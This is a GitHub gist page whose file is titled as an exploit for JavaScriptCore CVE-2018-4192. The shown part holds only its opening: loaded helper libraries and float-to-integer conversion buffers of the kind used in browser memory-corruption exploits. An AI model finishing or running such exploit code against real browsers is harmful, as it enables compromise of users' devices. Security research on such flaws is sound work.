Skip to content

Instantly share code, notes, and snippets.

View gabe-k's full-sized avatar

Gabe Kirkpatrick gabe-k

View GitHub Profile
@itszn
itszn / exploit.js
Created July 11, 2018 16:27
Exploit for JavascriptCore CVE-2018-4192
// Load Int library, thanks saelo!
load('util.js');
load('int64.js');
// Helpers to convert from float to in a few random places
var conva = new ArrayBuffer(8);
var convf = new Float64Array(conva);
var convi = new Uint32Array(conva);
var convi8 = new Uint8Array(conva);